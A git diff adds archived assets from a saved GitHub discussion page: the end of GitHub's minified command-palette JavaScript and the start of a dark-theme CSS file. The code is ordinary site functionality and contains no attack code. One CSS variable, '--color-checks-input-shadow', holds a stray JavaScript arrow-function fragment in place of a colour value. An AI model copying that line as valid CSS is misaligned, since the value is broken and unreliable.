rendering",this.icon="gear-color-fg-muted",this.priority=10,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"tab-sizes",this.pageItems),!0)}get pageItems(){return[x,le,ue,de,he,pe,me].map(e=>e.item())}select(e){this.run(e)}}n(fe,"SwitchTabSize");class ye extends y{constructor(){super(...arguments);this.title="Open in github.dev editor",this.icon="codespaces-color-fg-muted",this.priority=10}isApplicable(){return this.fetchLink()instanceof HTMLAnchorElement}fetchLink(){return document.querySelector(".js-github-dev-shortcut")}run(){var e;(e=this.fetchLink())==null||e.click()}}n(ye,"OpenInDotDev");class ve extends W{constructor(){super(...arguments);this.title="Switch theme",this.icon="paintbrush-color-fg-muted",this.priority=9,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"switch-theme-page-1",this.pageItems),!0)}get pageItems(){return[I,Ce,be,ge,Ee].map(e=>e.item())}select(e){this.run(e)}}n(ve,"SwitchTheme");class I extends y{constructor(){super(...arguments);this.title="Default dark",this.icon="moon-color-fg-muted",this.mode="dark",this.theme="dark",this.group=""}applyTheme(){this.loadStyles(this.theme),this.mode!=="auto"&&(0,M.on)(this.theme,this.mode),(0,M.h5)(this.mode)}async run(){this.applyTheme(),this.saveSettings(this.mode,this.lightTheme,this.darkTheme)}async saveSettings(e=this.mode,s,o){const r=new FormData;r.set("color_mode",e),s&&r.set("light_theme",s),o&&r.set("dark_theme",o);const l=await(await(0,ce.Q)("/settings/appearance/color_mode",{method:"PUT",body:r})).json();this.loadStyles(l.light_theme),this.loadStyles(l.dark_theme),(0,M.on)(l.light_theme,"light"),(0,M.on)(l.dark_theme,"dark"),(0,M.h5)(l.color_mode)}loadStyles(e){const s=document.querySelector(`link[data-color-theme='${e}']`);s&&!s.hasAttribute("href")&&s.hasAttribute("data-href")&&s.setAttribute("href",s.getAttribute("data-href"))}get darkTheme(){return this.mode==="dark"?this.theme:(0,M.yn)("dark")}get lightTheme(){return this.mode==="light"?this.theme:(0,M.yn)("light")}}n(I,"SwitchToDark");class ge extends I{constructor(){super(...arguments);this.title="Switch theme to dark high contrast",this.theme="dark_high_contrast"}}n(ge,"SwitchToDarkHighContrast");class be extends I{constructor(){super(...arguments);this.title="Dark dimmed",this.theme="dark_dimmed"}}n(be,"SwitchToDarkDimmed");class Ce extends I{constructor(){super(...arguments);this.title="Default light",this.icon="sun-color-fg-muted",this.mode="light",this.theme="light"}}n(Ce,"SwitchToLight");class Ee extends I{constructor(){super(...arguments);this.title="Sync with system settings",this.icon="sun-color-fg-muted",this.mode="auto"}get darkTheme(){}get lightTheme(){}}n(Ee,"SwitchToAuto");class Se extends y{constructor(){super();const e=this.isSubscribe();this.title=`${e?"Subscribe":"Unsubscribe"}`,this.icon=`${e?"bell":"bell-slash"}-color-fg-muted`}isApplicable(){var e;return this.fetchButton()instanceof HTMLButtonElement&&((e=this.fetchButton())==null?void 0:e.disabled)===!1}isSubscribe(){var e,s;return((s=(e=this.fetchButton())==null?void 0:e.textContent)==null?void 0:s.trim())==="Subscribe"}fetchButton(){return document.querySelector(".thread-subscribe-button")}run(){var e;(e=this.fetchButton())==null||e.click()}}n(Se,"UpdateSubscription");const Xe=[ye,fe,ve,Se];function _e(t){t.focus(),t.selectionStart=t.selectionEnd=t.value.length}n(_e,"moveCursorToEnd");class N extends y{constructor(){super(...arguments);this.title="Edit issue body",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.isIssue()}run(){const e=document.createElement("button");e.hidden=!0,e.classList.add("js-comment-edit-button");const s=document.querySelector("div.js-comment");s==null||s.appendChild(e),e.click(),e.remove(),setTimeout(()=>{var o;const r=(o=s==null?void 0:s.parentElement)==null?void 0:o.querySelector("textarea.js-comment-field");r&&_e(r)},0)}}n(N,"EditIssueBody");class Z extends y{constructor(){super(...arguments);this.title="Edit issue title",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isIssue()}fetchButton(){return document.querySelector(".js-title-edit-button")}run(){var e;(e=this.fetchButton())==null||e.click(),setTimeout(()=>{const s=document.querySelector("input#issue_title[autofocus]");s&&_e(s)},0)}}n(Z,"EditIssueTitle");class we extends y{constructor(){super(...arguments);this.title="Transfer issue\u2026",this.icon="arrow-right-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-transfer-issue")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(we,"TransferIssue");class Te extends y{constructor(){super();const e=this.isLock();this.title=`${e?"Lock":"Unlock"} conversation`,this.icon=`${e?"lock":"key"}-color-fg-muted`}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}isLock(){var e,s;return((s=(e=document.querySelector("summary.lock-toggle-link"))==null?void 0:e.textContent)==null?void 0:s.trim())==="Lock conversation"}fetchDetails(){return document.querySelector("details.js-lock-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=document.querySelector("#unlock-reason"))==null||s.focus()},0))}}n(Te,"LockIssue");class xe extends y{constructor(){super(...arguments);this.title="Delete issue\u2026",this.icon="trash-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-delete-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=e.querySelector('button[type="submit"]'))==null||s.focus()},0))}}n(xe,"DeleteIssue");class Pe extends y{constructor(){super(...arguments);this.title="Convert issue to discussion\u2026",this.icon="comment-discussion-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-convert-to-discussion")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(Pe,"ConvertToDiscussion");const Ge=[Z,N,Te,we,xe,Pe];var Ye=a(78078),P=a(76745);class K extends y{constructor(){super(...arguments);this.title="Open in new codespace",this.icon="codespaces-color-fg-muted",this.priority=11}isApplicable(){const e=this.fetchElements();return!!(e.codeModal&&e.codespacesForm&&e.newCodespacesButton&&e.codespacesTab)}run(){const{codeModal:e,codespacesTab:s,newCodespacesButton:o}=this.fetchElements();!(e&&s&&o)||(e.open=!0,s.click(),o instanceof HTMLButtonElement&&o.click())}fetchElements(){const e=document.querySelector(".js-create-codespaces-form-command"),s=(e==null?void 0:e.closest("details"))||null,o=(s==null?void 0:s.querySelector('[data-tab="cloud"]'))||null,r=(e==null?void 0:e.querySelector('summary[role="button"], button[type="submit"]'))||null;return{codespacesForm:e,codeModal:s,codespacesTab:o,newCodespacesButton:r}}}n(K,"OpenCodespace");var $=a(76168);class Ae extends N{constructor(){super(...arguments);this.title="Edit pull request body"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.isPullRequest()}}n(Ae,"EditPullRequestBody");class Le extends Z{constructor(){super(...arguments);this.title="Edit pull request title"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isPullRequest()}}n(Le,"EditPullRequestTitle");class je extends y{constructor(){super(...arguments);this.title="Update current branch",this.icon="sync-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-update-branch-form button")}run(){const e=this.fetchButton();e&&(e.scrollIntoView({behavior:"smooth",block:"center"}),e.click())}}n(je,"UpdateBranch");class De extends y{constructor(){super(...arguments);this.title="Convert to draft",this.icon="git-pull-request-draft-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-convert-to-draft")}run(){var e;const s=(e=this.fetchButton())==null?void 0:e.closest("details");s&&(s.open=!0,setTimeout(()=>{var o;(o=s.querySelector(".js-convert-to-draft"))==null||o.focus()},0))}}n(De,"ConvertToDraft");class Me extends y{constructor(){super(...arguments);this.title="Copy current branch name",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-copy-branch")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Branch name copied to clipboard!")}catch{e.displayFlash("error","Unable to copy branch name to clipboard!")}}}}n(Me,"CopyBranchName");const et=[Me,Le,Ae,je,De,K];class ke extends y{constructor(){super(...arguments);this.title="Copy file permalink",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchPermalinkContainer()instanceof HTMLAnchorElement}fetchPermalinkContainer(){return document.querySelector(".js-permalink-shortcut")}async run(e){const s=this.fetchPermalinkContainer();if(s){const o=`${s.href}${window.location.hash}`;try{await(0,$.z)(o),e.displayFlash("success","Copied permalink!")}catch{e.displayFlash("error","Failed to copy permalink!")}}}}n(ke,"CopyPermalink");class Be extends y{constructor(){super(...arguments);this.title="Clone repository: Copy HTTPS",this.icon="copy-color-fg-muted",this.priority=4}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-http")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Be,"CloneCopyHttps");class Ie extends y{constructor(){super(...arguments);this.title="Clone repository: Copy SSH",this.icon="copy-color-fg-muted",this.priority=3}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-ssh")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Ie,"CloneCopySsh");class Oe extends y{constructor(){super(...arguments);this.title="Clone repository: Copy GitHub CLI",this.icon="copy-color-fg-muted",this.priority=2}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-gh-cli")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Oe,"CloneCopyCli");const tt=[Be,Ie,Oe,ke,K];class J extends Ye.B{constructor(){super(...arguments);this.itemsByType={},this.items=[],this.needsFetch=!0}enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}get hasCommands(){return!0}async fetch(e){return this.items=[...Ge.map(o=>o.item()),...et.map(o=>o.item()),...tt.map(o=>o.item()),...Qe.map(o=>o.item()),...Xe.map(o=>o.item())].filter(o=>o.isApplicable(e)),{results:this.fuzzyFilter(this.items,e)}}get debounce(){return 0}clearCache(){}}n(J,"MainWindowCommandsProvider"),window.commandPalette&&window.commandPalette.registerProvider("main-window-commands-provider",new J),window.addEventListener("command-palette-ready",()=>{var t;(t=window.commandPalette)==null||t.registerProvider("main-window-commands-provider",new J)});var O=a(64465),st=a(49815),ot=Object.defineProperty,nt=Object.getOwnPropertyDescriptor,F=n((t,e,s,o)=>{for(var r=o>1?void 0:o?nt(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&ot(e,s,r),r},"command_palette_input_element_decorateClass");let A=n(class extends HTMLElement{constructor(){super(...arguments);this.setupComplete=!1,this.connected=!1}static get observedAttributes(){return["input-value","typeahead","scope"]}setup(){this.classList.add("d-flex","flex-items-center","flex-nowrap","py-1","pl-3","pr-2","border-bottom"),this.input=this.querySelector("input.js-input"),this.overlayInput=this.querySelector("input.js-overlay-input"),this.scopeElement=this.querySelector("command-palette-scope"),this.searchIcon=this.querySelector(".js-search-icon"),this.spinner=this.querySelector(".js-spinner"),this.defaultScope=this.scope,this.hasAttribute("autofocus")&&this.input.focus(),this.inputValue.length!==0&&this._dispatchEvent("command-palette-input"),this.setupComplete=!0}connectedCallback(){this.setupComplete||this.setup(),this.inputValue=this.getAttribute("input-value")||"",this.typeahead=this.getAttribute("typeahead")||"",this.placeholder=this.getAttribute("placeholder")||"",this.connected=!0}attributeChangedCallback(t,e,s){!this.input||(t==="typeahead"?this.typeahead=s:t==="input-value"&&(this.inputValue=s,this._dispatchEvent("command-palette-input")))}focus(){this.input.focus()}setRemovedTokenAndSelect(t){t&&(this.inputValue=t),this.focus(),this.input.select()}get scope(){return this.scopeElement.scope}set scope(t){this.scopeElement.scope=t,this.clearButton.hidden=!this.hasSomethingToClear()}hasScope(){return this.scopeElement.hasScope()}clearScope(){return this.scopeElement.clearScope()}removeToken(){return this.scopeElement.removeToken()}get placeholder(){return this.input.getAttribute("placeholder")||""}set placeholder(t){this.input.setAttribute("placeholder",t)}get typeaheadPlaceholderText(){return this.typeaheadPlaceholder.textContent||""}set typeaheadPlaceholderText(t){this.typeaheadPlaceholder.textContent=t}get inputValue(){var t;return((t=this.input)==null?void 0:t.value)||""}set inputValue(t){this.input.value=t,this.typeahead=t,this.resetPlaceholder(),this.onInput()}get overlay(){return this.overlayInput.value}set overlay(t){this.overlayInput.value=t}get typeahead(){return this.typeaheadValue}set typeahead(t){if(this.typeaheadValue=this.overlay+t,this.mirror.textContent=this.inputValue,t==="")this.typeaheadText.textContent="";else if(this.placeholder="",this.typeaheadPlaceholderText="",this.valueStartsWithTypeahead){const e=this.inputValue.length-(this.overlay?1:0);this.typeaheadText.textContent=t.substring(e)}else this.typeaheadText.textContent=` \u2013 ${t}`}showModePlaceholder(t=""){this.typeaheadPlaceholderText=t}get valueStartsWithTypeahead(){return this.typeaheadValue.toLowerCase().startsWith(this.inputValue.toLowerCase())}get isCursorAtEnd(){return this.inputValue.length===this.input.selectionStart}set loading(t){this.spinner.hidden=!t,this.searchIcon.hidden=t}resetPlaceholder(){this.inputValue.replace(this.overlay,"")&&this.overlay&&(this.typeaheadPlaceholderText=""),this.placeholder=this.getAttribute("placeholder")||""}onInput(){this.resetPlaceholder(),!!this.connected&&(this.clearButton.hidden=!this.hasSomethingToClear(),this._dispatchEvent("command-palette-input"))}onClear(t){t instanceof KeyboardEvent&&t.key!=="Enter"||(this.inputValue="",this.input.focus(),this._dispatchEvent("command-palette-cleared"))}onKeydown(t){if(this.isSelectKeystroke(t.key)&&(this._dispatchEvent("command-palette-select"),t.stopImmediatePropagation(),t.preventDefault()),this.hasSomethingToClear()&&(0,O.o)(t)&&t.key==="Backspace"){this.onClear();return}if(this.input.selectionStart===0&&this.input.selectionEnd===0&&t.key==="Backspace"){this._dispatchEvent("command-palette-descope"),t.stopImmediatePropagation(),t.preventDefault();return}}hasSomethingToClear(){return this.scopeElement.hasScope()||this.inputValue.length>0}isSelectKeystroke(t){return(0,st.c)("ACCESSIBLE_COMMAND_PALETTE")?!1:t==="Tab"||t==="ArrowRight"&&this.isCursorAtEnd}textSelected(){return this.input.selectionStart!==this.input.selectionEnd}_dispatchEvent(t){const e=new CustomEvent(t,{cancelable:!0,detail:{typeahead:this.typeahead,value:this.inputValue}});return this.dispatchEvent(e)}},"CommandPaletteInputElement");A.tagName="command-palette-input",F([i.fA],A.prototype,"typeaheadPlaceholder",2),F([i.fA],A.prototype,"typeaheadText",2),F([i.fA],A.prototype,"mirror",2),F([i.fA],A.prototype,"clearButton",2),A=F([i.Ih],A);var rt=a(11793),it=a(6741),at=a(35889),Re=a(64463),ct=a(45922);window.customElements.get(O.Z.tagName)||window.customElements.define(O.Z.tagName,O.Z);function lt(){document.addEventListener("keydown",ut),(0,Re.N7)(".js-command-palette-dialog",t=>{if(!t)return;const e=window.performance.now(),s=Q();!s||(t.addEventListener("toggle",()=>{t.open?s.activate():s.deactivate()}),s.addEventListener("command-palette-activated",o=>{o instanceof CustomEvent&&(o.detail.previouslyActivated||(0,ct.b)({distributionKey:"COMMAND_PALETTE_FIRST_OPEN",distributionValue:window.performance.now()-e}))}))}),(0,Re.N7)(".js-socket-channel.js-updatable-content",{subscribe:t=>(0,it.RB)(t,"socket:message",()=>{const e=Q();!e||e.clearCommands(!1)})})}n(lt,"observeCommandPalette");function Q(){return document.querySelector(O.Z.tagName)}n(Q,"findCommandPalette");function ut(t){if(!t.code)return;const e=Q();if(!e)return;const s=mt(),o=X(e.platformActivationHotkey,t),r=X(e.platformSecondaryActivationHotkey,t),c=X(e.platformCommandModeHotkey,t),l=!dt(t)&&!s&&(o||c),L=!s&&(r||c),w=e.hasAttribute("data-memex-hotkey-enabled")&&s&&(o||r||c);(l||L||w)&&(ft(c),t.preventDefault(),t.stopPropagation())}n(ut,"handleKeyDown");function X(t,e){let s=(0,rt.EL)(e);return s=s.replace("\u02DA","k"),t.split(",").some(o=>s===o)}n(X,"hotkeyMatchesEvent");function dt(t){return ht(t)||pt(t)}n(dt,"shouldIgnoreActivation");function ht(t){const e=t.target;return e?e.closest(".js-previewable-comment-form")!==null:!1}n(ht,"triggeredInsideAPreviewableCommentForm");function pt(t){const e=t.target;if(!e)return!1;const s=e.closest(".js-code-editor");if(!s)return!1;const o=(0,at.P)(s);if(!o)return!1;const r=o.editor;if(!r)return!1;const c=r.getMode().name;return c==="gfm"||c==="markdown"}n(pt,"triggeredInsideAMarkdownCodeEditor");function mt(){return!!document.querySelector("#memex-root")}n(mt,"triggeredInsideMemex");function ft(t){for(const e of document.querySelectorAll(".js-command-palette-dialog")){const s=e.querySelector(A.tagName);if(!s)return;if(e.open)e.open=!1;else{yt(s,t);const o=e.querySelector(O.Z.tagName);o&&(o.previouslyActiveElement=document.activeElement),e.open=!0}}}n(ft,"toggleCommandPalette");function yt(t,e){const s=t.inputValue.startsWith(">");return e&&!s?(t.inputValue=`>${t.inputValue}`,!0):!e&&s?(t.inputValue=t.inputValue.substring(1),!0):!1}n(yt,"toggleCommandMode"),lt()},35889:(S,C,a)=>{a.d(C,{P:()=>v,g:()=>g});var i=a(59753);const b=new WeakMap;function v(d){return b.get(d)}n(v,"getCodeEditor");async function g(d){return b.get(d)||m(await p(d,"codeEditor:ready"))}n(g,"getAsyncCodeEditor");function m(d){if(!(d instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=d.detail.editor;if(!d.target)throw new Error("assert: event.target is null");return b.set(d.target,h),h}n(m,"onEditorFromEvent"),(0,i.on)("codeEditor:ready",".js-code-editor",m);function p(d,h){return new Promise(u=>{d.addEventListener(h,u,{once:!0})})}n(p,"nextEvent")},64992:(S,C,a)=>{a.d(C,{I3:()=>v,h5:()=>m,on:()=>p,yn:()=>d});var i=a(7739),b=a(64926);(async()=>(await i.x,(0,b.d8)("preferred_color_mode",v())))();function v(){if(g("dark"))return"dark";if(g("light"))return"light"}n(v,"getPreferredColorMode");function g(h){return window.matchMedia&&window.matchMedia(`(prefers-color-scheme: ${h})`).matches}n(g,"prefersColorScheme");function m(h){const u=document.querySelector("html[data-color-mode]");!u||u.setAttribute("data-color-mode",h)}n(m,"setClientMode");function p(h,u){const f=document.querySelector("html[data-color-mode]");!f||f.setAttribute(`data-${u}-theme`,h)}n(p,"setClientTheme");function d(h){const u=document.querySelector("html[data-color-mode]");if(!!u)return u.getAttribute(`data-${h}-theme`)}n(d,"getClientTheme")},64926:(S,C,a)=>{a.d(C,{$1:()=>b,d8:()=>g,ej:()=>i,kT:()=>m});function i(p){return b(p)[0]}n(i,"getCookie");function b(p){const d=[];for(const h of v()){const[u,f]=h.trim().split("=");p===u&&typeof f!="undefined"&&d.push({key:u,value:f})}return d}n(b,"getCookies");function v(){try{return document.cookie.split(";")}catch{return[]}}n(v,"readCookies");function g(p,d,h=null,u=!1,f="lax"){let E=document.domain;if(E==null)throw new Error("Unable to get document domain");E.endsWith(".github.com")&&(E="github.com");const _=location.protocol==="https:"?"; secure":"",G=h?`; expires=${h}`:"";u===!1&&(E=`.${E}`);try{document.cookie=`${p}=${d}; path=/; domain=${E}${G}${_}; samesite=${f}`}catch{}}n(g,"setCookie");function m(p,d=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const u=new Date().getTime(),f=new Date(u-1).toUTCString(),E=location.protocol==="https:"?"; secure":"",_=`; expires=${f}`;d===!1&&(h=`.${h}`);try{document.cookie=`${p}=''; path=/; domain=${h}${_}${E}`}catch{}}n(m,"deleteCookie")},7739:(S,C,a)=>{a.d(C,{C:()=>b,x:()=>i});const i=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),b=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},97474:(S,C,a)=>{a.d(C,{Z:()=>i});function i(b){var v,g;const m=(g=(v=b.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:g.content;if(!m)return!1;const p=m.replace(/\.$/,"").split(".").slice(-2).join("."),d=b.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return p!==d}n(i,"detectProxySite")},45922:(S,C,a)=>{a.d(C,{b:()=>g});var i=a(97474),b=a(7739);let v=[];function g(u,f=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=h(),v.push(u),f?d():p()}n(g,"sendStats");let m=null;async function p(){await b.C,m==null&&(m=window.requestIdleCallback(d))}n(p,"scheduleSendStats");function d(){var u,f;if(m=null,!v.length||(0,i.Z)(document))return;const E=(f=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:f.content;if(!E)return;const _=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(E,_)}catch{}v=[]}n(d,"flushStats");function h(){var u,f;return!!((f=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:f.content)}n(h,"isLoggedIn"),document.addEventListener("pagehide",d),document.addEventListener("visibilitychange",d)},6741:(S,C,a)=>{a.d(C,{RB:()=>b,qC:()=>v,w0:()=>i});class i{constructor(m){this.closed=!1,this.unsubscribe=()=>{m(),this.closed=!0}}}n(i,"Subscription");function b(g,m,p,d={capture:!1}){return g.addEventListener(m,p,d),new i(()=>{g.removeEventListener(m,p,d)})}n(b,"fromEvent");function v(...g){return new i(()=>{for(const m of g)m.unsubscribe()})}n(v,"compose")}},S=>{var C=n(i=>S(S.s=i),"__webpack_exec__");S.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996","vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"],()=>C(86761));var a=S.O()}]);})(); + +//# sourceMappingURL=command-palette-10120dba33e7.js.map \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css new file mode 100644 index 0000000..f8ab479 --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css @@ -0,0 +1,3 @@ +[data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: 